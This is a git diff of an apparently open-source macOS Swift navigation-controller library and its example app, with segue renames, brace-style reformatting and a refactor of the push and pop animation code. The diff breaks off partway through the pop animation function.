diff --git a/ExampleStoryboard/ExampleStoryboard/Base.lproj/Main.storyboard b/ExampleStoryboard/ExampleStoryboard/Base.lproj/Main.storyboard
index a44b062..fa95f8b 100644
--- a/ExampleStoryboard/ExampleStoryboard/Base.lproj/Main.storyboard
+++ b/ExampleStoryboard/ExampleStoryboard/Base.lproj/Main.storyboard
@@ -1,8 +1,9 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<document type="com.apple.InterfaceBuilder3.Cocoa.Storyboard.XIB" version="3.0" toolsVersion="10117" systemVersion="15F34" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES" initialViewController="B8D-0N-5wS">
+<?xml version="1.0" encoding="UTF-8"?>
+<document type="com.apple.InterfaceBuilder3.Cocoa.Storyboard.XIB" version="3.0" toolsVersion="16097.2" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES" initialViewController="B8D-0N-5wS">
     <dependencies>
         <deployment identifier="macosx"/>
-        <plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="10117"/>
+        <plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="16097.2"/>
+        <capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
     </dependencies>
     <scenes>
         <!--Application-->
@@ -651,10 +652,13 @@
         <scene sceneID="R2V-B0-nI4">
             <objects>
                 <windowController id="B8D-0N-5wS" sceneMemberID="viewController">
-                    <window key="window" title="Window" allowsToolTipsWhenApplicationIsInactive="NO" autorecalculatesKeyViewLoop="NO" restorable="NO" oneShot="NO" releasedWhenClosed="NO" showsToolbarButton="NO" visibleAtLaunch="NO" animationBehavior="default" id="IQv-IB-iLA">
+                    <window key="window" title="Window" allowsToolTipsWhenApplicationIsInactive="NO" autorecalculatesKeyViewLoop="NO" restorable="NO" releasedWhenClosed="NO" visibleAtLaunch="NO" animationBehavior="default" id="IQv-IB-iLA">
                         <windowStyleMask key="styleMask" titled="YES" closable="YES" miniaturizable="YES" resizable="YES"/>
                         <rect key="contentRect" x="196" y="240" width="480" height="270"/>
                         <rect key="screenRect" x="0.0" y="0.0" width="1680" height="1027"/>
+                        <connections>
+                            <outlet property="delegate" destination="B8D-0N-5wS" id="OSI-Rz-Qw9"/>
+                        </connections>
                     </window>
                     <connections>
                         <segue destination="5mA-UW-7RL" kind="relationship" relationship="window.shadowedContentViewController" id="90O-PK-nvL"/>
@@ -673,7 +677,7 @@
                         <autoresizingMask key="autoresizingMask"/>
                         <subviews>
                             <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="9u3-au-na3">
-                                <rect key="frame" x="128" y="138" width="194" height="24"/>
+                                <rect key="frame" x="130" y="139" width="190" height="23"/>
                                 <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" sendsActionOnEndEditing="YES" alignment="center" title="First View Controller" id="lyA-iu-ue1">
                                     <font key="font" metaFont="systemMedium" size="20"/>
                                     <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/>
@@ -687,8 +691,8 @@
                         </constraints>
                     </view>
                     <connections>
-                        <segue destination="OWN-rs-Ajs" kind="custom" identifier="navigationBarViewController" customClass="JSNavigationControllerSegue" customModule="JSNavigationController" id="WiH-Bq-gb0"/>
-                        <segue destination="T0K-O1-tI4" kind="custom" identifier="navigationControllerPush" customClass="JSNavigationControllerSegue" customModule="JSNavigationController" id="6jY-yp-IWR"/>
+                        <segue destination="OWN-rs-Ajs" kind="custom" identifier="Navigation Bar" customClass="JSNavigationBarSegue" customModule="JSNavigationController" id="WiH-Bq-gb0"/>
+                        <segue destination="T0K-O1-tI4" kind="custom" identifier="Second View Controller" customClass="JSPushSegue" customModule="JSNavigationController" id="6jY-yp-IWR"/>
                     </connections>
                 </viewController>
                 <customObject id="aGe-MJ-07R" userLabel="First Responder" customClass="NSResponder" sceneMemberID="firstResponder"/>
@@ -704,7 +708,7 @@
                         <autoresizingMask key="autoresizingMask"/>
                         <subviews>
                             <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="dJC-RT-XrF">
-                                <rect key="frame" x="199" y="22" width="52" height="17"/>
+                                <rect key="frame" x="199" y="22" width="52" height="16"/>
                                 <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" sendsActionOnEndEditing="YES" title="First VC" id="tIa-8M-tLd">
                                     <font key="font" metaFont="system"/>
                                     <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/>
@@ -712,7 +716,7 @@
                                 </textFieldCell>
                             </textField>
                             <button verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="FhG-UZ-bkj">
-                                <rect key="frame" x="375" y="12" width="69" height="32"/>
+                                <rect key="frame" x="375" y="13" width="69" height="32"/>
                                 <buttonCell key="cell" type="push" title="Next" bezelStyle="rounded" alignment="center" borderStyle="border" imageScaling="proportionallyDown" inset="2" id="Wwd-B9-58R">
                                     <behavior key="behavior" pushIn="YES" lightByBackground="YES" lightByGray="YES"/>
                                     <font key="font" metaFont="system"/>
@@ -766,7 +770,7 @@
                     <connections>
                         <outlet property="contentView" destination="BHF-8j-C0k" id="hld-ru-zzX"/>
                         <outlet property="navigationBarView" destination="Zt0-xw-0xf" id="oUI-g0-nZS"/>
-                        <segue destination="RdD-JG-Yxr" kind="custom" identifier="rootViewController" customClass="JSNavigationControllerSegue" customModule="JSNavigationController" id="MSj-Mn-OHf"/>
+                        <segue destination="RdD-JG-Yxr" kind="custom" identifier="Root View Controller" customClass="JSRootViewControllerSegue" customModule="JSNavigationController" id="MSj-Mn-OHf"/>
                     </connections>
                 </viewController>
                 <customObject id="BuC-UO-qDp" userLabel="First Responder" customClass="NSResponder" sceneMemberID="firstResponder"/>
@@ -782,7 +786,7 @@
                         <autoresizingMask key="autoresizingMask"/>
                         <subviews>
                             <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="vzc-Sh-i6b">
-                                <rect key="frame" x="113" y="138" width="224" height="24"/>
+                                <rect key="frame" x="116" y="139" width="218" height="23"/>
                                 <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" sendsActionOnEndEditing="YES" alignment="center" title="Second View Controller" id="ujy-86-fcx">
                                     <font key="font" metaFont="systemMedium" size="20"/>
                                     <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/>
@@ -796,9 +800,9 @@
                         </constraints>
                     </view>
                     <connections>
-                        <segue destination="SeG-HN-fbt" kind="custom" identifier="navigationBarViewController" customClass="JSNavigationControllerSegue" customModule="JSNavigationController" id="rIX-cc-WXp"/>
-                        <segue destination="oV3-QB-h38" kind="custom" identifier="navigationControllerPush#ThirdVC" customClass="JSNavigationControllerSegue" customModule="JSNavigationController" id="sBI-mm-9Uj"/>
-                        <segue destination="7tf-gr-P0S" kind="custom" identifier="navigationControllerPush#FourthVC" customClass="JSNavigationControllerSegue" customModule="JSNavigationController" id="4aI-pA-rQO"/>
+                        <segue destination="SeG-HN-fbt" kind="custom" identifier="Navigation Bar" customClass="JSNavigationBarSegue" customModule="JSNavigationController" id="rIX-cc-WXp"/>
+                        <segue destination="oV3-QB-h38" kind="custom" identifier="Third View Controller" customClass="JSPushSegue" customModule="JSNavigationController" id="sBI-mm-9Uj"/>
+                        <segue destination="7tf-gr-P0S" kind="custom" identifier="Fourth View Controller" customClass="JSPushSegue" customModule="JSNavigationController" id="4aI-pA-rQO"/>
                     </connections>
                 </viewController>
                 <customObject id="ub5-KI-CaN" userLabel="First Responder" customClass="NSResponder" sceneMemberID="firstResponder"/>
@@ -814,7 +818,7 @@
                         <autoresizingMask key="autoresizingMask"/>
                         <subviews>
                             <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="ve8-Ju-1sY">
-                                <rect key="frame" x="190" y="22" width="71" height="17"/>
+                                <rect key="frame" x="190" y="22" width="71" height="16"/>
                                 <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" sendsActionOnEndEditing="YES" title="Second VC" id="9sI-VS-zoZ">
                                     <font key="font" metaFont="system"/>
                                     <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/>
@@ -829,7 +833,7 @@
                                 </buttonCell>
                             </button>
                             <button verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="oYo-KI-O44">
-                                <rect key="frame" x="6" y="12" width="70" height="32"/>
+                                <rect key="frame" x="6" y="13" width="70" height="32"/>
                                 <buttonCell key="cell" type="push" title="Back" bezelStyle="rounded" alignment="center" borderStyle="border" imageScaling="proportionallyDown" inset="2" id="RUO-1k-4aU">
                                     <behavior key="behavior" pushIn="YES" lightByBackground="YES" lightByGray="YES"/>
                                     <font key="font" metaFont="system"/>
@@ -876,7 +880,7 @@
                         <autoresizingMask key="autoresizingMask"/>
                         <subviews>
                             <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="UgO-XR-Bju">
-                                <rect key="frame" x="124" y="138" width="202" height="24"/>
+                                <rect key="frame" x="127" y="139" width="197" height="23"/>
                                 <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" sendsActionOnEndEditing="YES" alignment="center" title="Third View Controller" id="mIG-Zr-1Ym">
                                     <font key="font" metaFont="systemMedium" size="20"/>
                                     <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/>
@@ -890,7 +894,7 @@
                         </constraints>
                     </view>
                     <connections>
-                        <segue destination="xWs-z7-Txg" kind="custom" identifier="navigationBarViewController" customClass="JSNavigationControllerSegue" customModule="JSNavigationController" id="WzP-Mw-OvO"/>
+                        <segue destination="xWs-z7-Txg" kind="custom" identifier="Navigation Bar" customClass="JSNavigationBarSegue" customModule="JSNavigationController" id="WzP-Mw-OvO"/>
                     </connections>
                 </viewController>
                 <customObject id="dFX-Xo-6fR" userLabel="First Responder" customClass="NSResponder" sceneMemberID="firstResponder"/>
@@ -906,7 +910,7 @@
                         <autoresizingMask key="autoresizingMask"/>
                         <subviews>
                             <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="DVy-HV-bVe">
-                                <rect key="frame" x="197" y="22" width="57" height="17"/>
+                                <rect key="frame" x="197" y="22" width="57" height="16"/>
                                 <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" sendsActionOnEndEditing="YES" title="Third VC" id="21l-mm-ojG">
                                     <font key="font" metaFont="system"/>
                                     <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/>
@@ -914,7 +918,7 @@
                                 </textFieldCell>
                             </textField>
                             <button verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="X9k-Uj-DyS">
-                                <rect key="frame" x="6" y="12" width="70" height="32"/>
+                                <rect key="frame" x="6" y="13" width="70" height="32"/>
                                 <buttonCell key="cell" type="push" title="Back" bezelStyle="rounded" alignment="center" borderStyle="border" imageScaling="proportionallyDown" inset="2" id="FBM-nT-tE1">
                                     <behavior key="behavior" pushIn="YES" lightByBackground="YES" lightByGray="YES"/>
                                     <font key="font" metaFont="system"/>
@@ -946,7 +950,7 @@
                         <autoresizingMask key="autoresizingMask"/>
                         <subviews>
                             <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="sfm-yg-JId">
-                                <rect key="frame" x="118" y="138" width="214" height="24"/>
+                                <rect key="frame" x="121" y="139" width="209" height="23"/>
                                 <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" sendsActionOnEndEditing="YES" alignment="center" title="Fourth View Controller" id="HNk-rZ-zqH">
                                     <font key="font" metaFont="systemMedium" size="20"/>
                                     <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/>
@@ -960,7 +964,7 @@
                         </constraints>
                     </view>
                     <connections>
-                        <segue destination="iPM-mo-vFm" kind="custom" identifier="navigationBarViewController" customClass="JSNavigationControllerSegue" customModule="JSNavigationController" id="MUJ-1y-QGo"/>
+                        <segue destination="iPM-mo-vFm" kind="custom" identifier="Navigation Bar" customClass="JSNavigationBarSegue" customModule="JSNavigationController" id="MUJ-1y-QGo"/>
                     </connections>
                 </viewController>
                 <customObject id="5Ms-97-Zan" userLabel="First Responder" customClass="NSResponder" sceneMemberID="firstResponder"/>
@@ -976,7 +980,7 @@
                         <autoresizingMask key="autoresizingMask"/>
                         <subviews>
                             <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="AKO-Cl-ytO">
-                                <rect key="frame" x="192" y="22" width="66" height="17"/>
+                                <rect key="frame" x="192" y="22" width="66" height="16"/>
                                 <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" sendsActionOnEndEditing="YES" title="Fourth VC" id="dXJ-2j-84T">
                                     <font key="font" metaFont="system"/>
                                     <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/>
@@ -984,7 +988,7 @@
                                 </textFieldCell>
                             </textField>
                             <button verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="Itd-sl-S6n">
-                                <rect key="frame" x="6" y="12" width="70" height="32"/>
+                                <rect key="frame" x="6" y="13" width="70" height="32"/>
                                 <buttonCell key="cell" type="push" title="Back" bezelStyle="rounded" alignment="center" borderStyle="border" imageScaling="proportionallyDown" inset="2" id="eMl-ID-cPc">
                                     <behavior key="behavior" pushIn="YES" lightByBackground="YES" lightByGray="YES"/>
                                     <font key="font" metaFont="system"/>
diff --git a/ExampleStoryboard/ExampleStoryboard/SecondViewController.swift b/ExampleStoryboard/ExampleStoryboard/SecondViewController.swift
index 1e854f5..cc4ba78 100644
--- a/ExampleStoryboard/ExampleStoryboard/SecondViewController.swift
+++ b/ExampleStoryboard/ExampleStoryboard/SecondViewController.swift
@@ -7,19 +7,19 @@ private extension Selector {
 	static let popViewController = #selector(SecondViewController.popViewController)
 }
 
-class SecondViewController: JSViewController {
-	
+class SecondViewController: JSViewController
+{
 	// MARK: - View Lifecycle
-	override func viewDidLoad() {
+	override func viewDidLoad()
+	{
 		super.viewDidLoad()
-		view.translatesAutoresizingMaskIntoConstraints = false
-		view.wantsLayer = true
-		view.layer?.backgroundColor = NSColor(deviceRed: 240/255, green: 240/255, blue: 240/255, alpha: 1.0).cgColor
+		self.view.wantsLayer = true
+		self.view.layer?.backgroundColor = NSColor(deviceRed: 240/255, green: 240/255, blue: 240/255, alpha: 1.0).cgColor
 	}
 	
-	override func viewDidAppear() {
+	override func viewDidAppear()
+	{
 		super.viewDidAppear()
-		view.superview?.addConstraints(viewConstraints())
 		
 		// NavigationBar
 		(navigationBarVC as? SecondVCBarViewController)?.backButton?.target = self
@@ -29,49 +29,19 @@ class SecondViewController: JSViewController {
 		(navigationBarVC as? SecondVCBarViewController)?.fourthButton?.target = self
 		(navigationBarVC as? SecondVCBarViewController)?.fourthButton?.action = .pushFourthVC
 	}
-	
-	override func viewDidDisappear() {
-		view.superview?.removeConstraints(viewConstraints())
-	}
-	
-	// MARK: - Layout
-	fileprivate func viewConstraints() -> [NSLayoutConstraint] {
-		let left = NSLayoutConstraint(
-			item: view, attribute: .left, relatedBy: .equal,
-			toItem: view.superview, attribute: .left,
-			multiplier: 1.0, constant: 0.0
-		)
-		let right = NSLayoutConstraint(
-			item: view, attribute: .right, relatedBy: .equal,
-			toItem: view.superview, attribute: .right,
-			multiplier: 1.0, constant: 0.0
-		)
-		let top = NSLayoutConstraint(
-			item: view, attribute: .top, relatedBy: .equal,
-			toItem: view.superview, attribute: .top,
-			multiplier: 1.0, constant: 0.0
-		)
-		let bottom = NSLayoutConstraint(
-			item: view, attribute: .bottom, relatedBy: .equal,
-			toItem: view.superview, attribute: .bottom,
-			multiplier: 1.0, constant: 0.0
-		)
-		return [left, right, top, bottom]
-	}
 
-    @objc func pushThirdViewController() {
-		if let destinationViewController = destinationViewControllers["ThirdVC"] {
-			navigationController?.push(viewController: destinationViewController, animated: true)
-		}
+    @objc func pushThirdViewController()
+	{
+		self.performSegue(withIdentifier: "Third View Controller", sender: nil)
 	}
 
-    @objc func pushFourthViewController() {
-		if let destinationViewController = destinationViewControllers["FourthVC"] {
-			navigationController?.push(viewController: destinationViewController, animated: true)
-		}
+    @objc func pushFourthViewController()
+	{
+		self.performSegue(withIdentifier: "Fourth View Controller", sender: nil)
 	}
 
-    @objc func popViewController() {
-		navigationController?.popViewController(animated: true)
+    @objc func popViewController()
+	{
+		self.navigationController?.popViewController(animated: true)
 	}
 }
diff --git a/ExampleStoryboard/ExampleStoryboard/ViewController.swift b/ExampleStoryboard/ExampleStoryboard/ViewController.swift
index ff8bb8e..11873da 100644
--- a/ExampleStoryboard/ExampleStoryboard/ViewController.swift
+++ b/ExampleStoryboard/ExampleStoryboard/ViewController.swift
@@ -6,19 +6,20 @@ private extension Selector {
 	static let popViewController = #selector(ViewController.popViewController)
 }
 
-class ViewController: JSViewController {
-
+class ViewController: JSViewController
+{
 	// MARK: - View Lifecycle
-	override func viewDidLoad() {
+	
+	override func viewDidLoad()
+	{
 		super.viewDidLoad()
-		view.translatesAutoresizingMaskIntoConstraints = false
-		view.wantsLayer = true
-		view.layer?.backgroundColor = NSColor(deviceRed: 240/255, green: 240/255, blue: 240/255, alpha: 1.0).cgColor
+		self.view.wantsLayer = true
+		self.view.layer?.backgroundColor = NSColor(deviceRed: 240/255, green: 240/255, blue: 240/255, alpha: 1.0).cgColor
 	}
 
-	override func viewDidAppear() {
+	override func viewDidAppear()
+	{
 		super.viewDidAppear()
-		view.superview?.addConstraints(viewConstraints())
 
 		// NavigationBar
 		(navigationBarVC as? BasicNavigationBarViewController)?.backButton?.target = self
@@ -27,42 +28,15 @@ class ViewController: JSViewController {
 		(navigationBarVC as? BasicNavigationBarViewController)?.nextButton?.action = .pushToNextViewController
 	}
 
-	override func viewDidDisappear() {
-		view.superview?.removeConstraints(viewConstraints())
-	}
-
 	// MARK: - Layout
-	fileprivate func viewConstraints() -> [NSLayoutConstraint] {
-		let left = NSLayoutConstraint(
-			item: view, attribute: .left, relatedBy: .equal,
-			toItem: view.superview, attribute: .left,
-			multiplier: 1.0, constant: 0.0
-		)
-		let right = NSLayoutConstraint(
-			item: view, attribute: .right, relatedBy: .equal,
-			toItem: view.superview, attribute: .right,
-			multiplier: 1.0, constant: 0.0
-		)
-		let top = NSLayoutConstraint(
-			item: view, attribute: .top, relatedBy: .equal,
-			toItem: view.superview, attribute: .top,
-			multiplier: 1.0, constant: 0.0
-		)
-		let bottom = NSLayoutConstraint(
-			item: view, attribute: .bottom, relatedBy: .equal,
-			toItem: view.superview, attribute: .bottom,
-			multiplier: 1.0, constant: 0.0
-		)
-		return [left, right, top, bottom]
-	}
 
-    @objc func pushToNextViewController() {
-		if let destinationViewController = destinationViewController {
-			navigationController?.push(viewController: destinationViewController, animated: true)
-		}
+    @objc func pushToNextViewController()
+	{
+		self.performSegue(withIdentifier: "Second View Controller", sender: nil)
 	}
 
-    @objc func popViewController() {
-		navigationController?.popViewController(animated: true)
+    @objc func popViewController()
+	{
+		self.navigationController?.popViewController(animated: true)
 	}
 }
diff --git a/JSNavigationController.xcodeproj/project.pbxproj b/JSNavigationController.xcodeproj/project.pbxproj
index 2aa462f..f9733fc 100644
--- a/JSNavigationController.xcodeproj/project.pbxproj
+++ b/JSNavigationController.xcodeproj/project.pbxproj
@@ -17,7 +17,7 @@
 		F67D71CC1CF5E1FA003F8B91 /* JSNavigationController.swift in Sources */ = {isa = PBXBuildFile; fileRef = F67D71C81CF5E1FA003F8B91 /* JSNavigationController.swift */; };
 		F67D71CD1CF5E1FA003F8B91 /* JSViewControllersStackManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = F67D71C91CF5E1FA003F8B91 /* JSViewControllersStackManager.swift */; };
 		F6E5D0B01CF88C4C000874A3 /* JSNavigationControllerDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = F6E5D0AF1CF88C4C000874A3 /* JSNavigationControllerDelegate.swift */; };
-		F6ED5F5F1CFF488300CF7222 /* JSNavigationControllerSegue.swift in Sources */ = {isa = PBXBuildFile; fileRef = F6ED5F5E1CFF488300CF7222 /* JSNavigationControllerSegue.swift */; };
+		F6ED5F5F1CFF488300CF7222 /* JSSegues.swift in Sources */ = {isa = PBXBuildFile; fileRef = F6ED5F5E1CFF488300CF7222 /* JSSegues.swift */; };
 /* End PBXBuildFile section */
 
 /* Begin PBXContainerItemProxy section */
@@ -44,7 +44,7 @@
 		F67D71C81CF5E1FA003F8B91 /* JSNavigationController.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = JSNavigationController.swift; path = Sources/JSNavigationController.swift; sourceTree = "<group>"; };
 		F67D71C91CF5E1FA003F8B91 /* JSViewControllersStackManager.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = JSViewControllersStackManager.swift; path = Sources/JSViewControllersStackManager.swift; sourceTree = "<group>"; };
 		F6E5D0AF1CF88C4C000874A3 /* JSNavigationControllerDelegate.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = JSNavigationControllerDelegate.swift; path = Sources/JSNavigationControllerDelegate.swift; sourceTree = "<group>"; };
-		F6ED5F5E1CFF488300CF7222 /* JSNavigationControllerSegue.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = JSNavigationControllerSegue.swift; path = Sources/JSNavigationControllerSegue.swift; sourceTree = "<group>"; };
+		F6ED5F5E1CFF488300CF7222 /* JSSegues.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = JSSegues.swift; path = Sources/JSSegues.swift; sourceTree = "<group>"; };
 /* End PBXFileReference section */
 
 /* Begin PBXFrameworksBuildPhase section */
@@ -112,7 +112,7 @@
 				F67D71C61CF5E1FA003F8B91 /* JSNavigationBarController.swift */,
 				F67D71C71CF5E1FA003F8B91 /* JSNavigationBarViewControllerProvider.swift */,
 				F67D71C91CF5E1FA003F8B91 /* JSViewControllersStackManager.swift */,
-				F6ED5F5E1CFF488300CF7222 /* JSNavigationControllerSegue.swift */,
+				F6ED5F5E1CFF488300CF7222 /* JSSegues.swift */,
 				F655C1631D00ABE3005208A1 /* JSViewController.swift */,
 			);
 			name = Sources;
@@ -235,7 +235,7 @@
 				F67D71CD1CF5E1FA003F8B91 /* JSViewControllersStackManager.swift in Sources */,
 				F67D71CC1CF5E1FA003F8B91 /* JSNavigationController.swift in Sources */,
 				F6E5D0B01CF88C4C000874A3 /* JSNavigationControllerDelegate.swift in Sources */,
-				F6ED5F5F1CFF488300CF7222 /* JSNavigationControllerSegue.swift in Sources */,
+				F6ED5F5F1CFF488300CF7222 /* JSSegues.swift in Sources */,
 			);
 			runOnlyForDeploymentPostprocessing = 0;
 		};
diff --git a/JSNavigationController/Sources/JSNavigationBarController.swift b/JSNavigationController/Sources/JSNavigationBarController.swift
index 5697824..8169dc1 100644
--- a/JSNavigationController/Sources/JSNavigationBarController.swift
+++ b/JSNavigationController/Sources/JSNavigationBarController.swift
@@ -8,97 +8,48 @@
 
 import AppKit
 
-open class JSNavigationBarController: JSViewControllersStackManager {
+open class JSNavigationBarController: JSViewControllersStackManager
+{
+	// MARK: - Properties
 	open var viewControllers: [NSViewController] = []
 	open weak var contentView: NSView?
 
 	// MARK: - Initializers
-	public init(view: NSView) {
-		contentView = view
+	public init(view: NSView)
+	{
+		self.contentView = view
 	}
 
 	// MARK: - Default animations
-	open func defaultPushAnimation() -> AnimationBlock {
-		return { [weak self] (_, _) in
-			let containerViewBounds = self?.contentView?.bounds ?? .zero
-
-			let slideToLeftTransform = CATransform3DMakeTranslation(-containerViewBounds.width / 2, 0, 0)
-			let slideToLeftAnimation = CABasicAnimation(keyPath: #keyPath(CALayer.transform))
-			slideToLeftAnimation.fromValue = NSValue(caTransform3D: CATransform3DIdentity)
-			slideToLeftAnimation.toValue = NSValue(caTransform3D: slideToLeftTransform)
-			slideToLeftAnimation.duration = 0.25
-			slideToLeftAnimation.timingFunction = CAMediaTimingFunction(name: CAMediaTimingFunctionName.easeOut)
-			slideToLeftAnimation.fillMode = CAMediaTimingFillMode.forwards
-			slideToLeftAnimation.isRemovedOnCompletion = false
-
-			let slideFromRightTransform = CATransform3DMakeTranslation(containerViewBounds.width / 2, 0, 0)
-			let slideFromRightAnimation = CABasicAnimation(keyPath: #keyPath(CALayer.transform))
-			slideFromRightAnimation.fromValue = NSValue(caTransform3D: slideFromRightTransform)
-			slideFromRightAnimation.toValue = NSValue(caTransform3D: CATransform3DIdentity)
-			slideFromRightAnimation.duration = 0.25
-			slideFromRightAnimation.timingFunction = CAMediaTimingFunction(name: CAMediaTimingFunctionName.easeOut)
-			slideFromRightAnimation.fillMode = CAMediaTimingFillMode.forwards
-			slideFromRightAnimation.isRemovedOnCompletion = false
-
-			let fadeInAnimation = CABasicAnimation(keyPath: #keyPath(CALayer.opacity))
-			fadeInAnimation.fromValue = 0.0
-			fadeInAnimation.toValue = 1.0
-			fadeInAnimation.duration = 0.25
-			fadeInAnimation.timingFunction = CAMediaTimingFunction(name: CAMediaTimingFunctionName.easeOut)
-			fadeInAnimation.fillMode = CAMediaTimingFillMode.forwards
-			fadeInAnimation.isRemovedOnCompletion = false
-
-			let fadeOutAnimation = CABasicAnimation(keyPath: #keyPath(CALayer.opacity))
-			fadeOutAnimation.fromValue = 1.0
-			fadeOutAnimation.toValue = 0.0
-			fadeOutAnimation.duration = 0.25
-			fadeOutAnimation.timingFunction = CAMediaTimingFunction(name: CAMediaTimingFunctionName.easeOut)
-			fadeOutAnimation.fillMode = CAMediaTimingFillMode.forwards
-			fadeOutAnimation.isRemovedOnCompletion = false
-
-			return ([slideToLeftAnimation, fadeOutAnimation], [slideFromRightAnimation, fadeInAnimation])
-		}
+	
+	open func defaultPushAnimation() -> AnimationBlock
+	{
+		return
+			{
+				[unowned self] (_, _) in
+				
+				let containerViewBounds = self.contentView?.bounds ?? .zero
+				let slideToLeftAnimation = self.animation(for: #keyPath(CALayer.transform), from: CATransform3DIdentity, to: CATransform3DMakeTranslation(-containerViewBounds.width / 2, 0, 0))
+				let slideFromRightAnimation = self.animation(for: #keyPath(CALayer.transform), from: CATransform3DMakeTranslation(containerViewBounds.width / 2, 0, 0), to: CATransform3DIdentity)
+				let fadeInAnimation = self.animation(for: #keyPath(CALayer.opacity), from: 0, to: 1)
+				let fadeOutAnimation = self.animation(for: #keyPath(CALayer.opacity), from: 1, to: 0)
+				return ([slideToLeftAnimation, fadeOutAnimation], [slideFromRightAnimation, fadeInAnimation])
+			}
 	}
 
-	open func defaultPopAnimation() -> AnimationBlock {
-		return { [weak self] (_, _) in
-			let containerViewBounds = self?.contentView?.bounds ?? .zero
-
-			let slideToRightTransform = CATransform3DMakeTranslation(-containerViewBounds.width / 2, 0, 0)
-			let slideToRightAnimation = CABasicAnimation(keyPath: #keyPath(CALayer.transform))
-			slideToRightAnimation.fromValue = NSValue(caTransform3D: slideToRightTransform)
-			slideToRightAnimation.toValue = NSValue(caTransform3D: CATransform3DIdentity)
-			slideToRightAnimation.duration = 0.25
-			slideToRightAnimation.timingFunction = CAMediaTimingFunction(name: CAMediaTimingFunctionName.easeOut)
-			slideToRightAnimation.fillMode = CAMediaTimingFillMode.forwards
-			slideToRightAnimation.isRemovedOnCompletion = false
-
-			let slideToRightFromCenterTransform = CATransform3DMakeTranslation(containerViewBounds.width / 2, 0, 0)
-			let slideToRightFromCenterAnimation = CABasicAnimation(keyPath: #keyPath(CALayer.transform))
-			slideToRightFromCenterAnimation.fromValue = NSValue(caTransform3D: CATransform3DIdentity)
-			slideToRightFromCenterAnimation.toValue = NSValue(caTransform3D: slideToRightFromCenterTransform)
-			slideToRightFromCenterAnimation.duration = 0.35
-			slideToRightFromCenterAnimation.timingFunction = CAMediaTimingFunction(name: CAMediaTimingFunctionName.easeOut)
-			slideToRightFromCenterAnimation.fillMode = CAMediaTimingFillMode.forwards
-			slideToRightFromCenterAnimation.isRemovedOnCompletion = false
-
-			let fadeInAnimation = CABasicAnimation(keyPath: #keyPath(CALayer.opacity))
-			fadeInAnimation.fromValue = 0.0
-			fadeInAnimation.toValue = 1.0
-			fadeInAnimation.duration = 0.25
-			fadeInAnimation.timingFunction = CAMediaTimingFunction(name: CAMediaTimingFunctionName.easeOut)
-			fadeInAnimation.fillMode = CAMediaTimingFillMode.forwards
-			fadeInAnimation.isRemovedOnCompletion = false
-
-			let fadeOutAnimation = CABasicAnimation(keyPath: #keyPath(CALayer.opacity))
-			fadeOutAnimation.fromValue = 1.0
-			fadeOutAnimation.toValue = 0.0
-			fadeOutAnimation.duration = 0.25
-			fadeOutAnimation.timingFunction = CAMediaTimingFunction(name: CAMediaTimingFunctionName.easeOut)
-			fadeOutAnimation.fillMode = CAMediaTimingFillMode.forwards
-			fadeOutAnimation.isRemovedOnCompletion = false
-
-			return ([slideToRightFromCenterAnimation, fadeOutAnimation], [slideToRightAnimation, fadeInAnimation])
-		}
+	open func defaultPopAnimation() -> AnimationBlock
+	{
+		return
+			{
+				[unowned self] (_, _) in
+				
+				let containerViewBounds = self.contentView?.bounds ?? .zero
+				let slideToRightAnimation = self.animation(for: #keyPath(CALayer.transform), from: CATransform3DMakeTranslation(-containerViewBounds.width / 2, 0, 0), to: CATransform3DIdentity)
+				let slideToRightFromCenterAnimation = self.animation(for: #keyPath(CALayer.transform), from: CATransform3DIdentity, to: CATransform3DMakeTranslation(containerViewBounds.width / 2, 0, 0))
+				let fadeInAnimation = self.animation(for: #keyPath(CALayer.opacity), from: 0, to: 1)
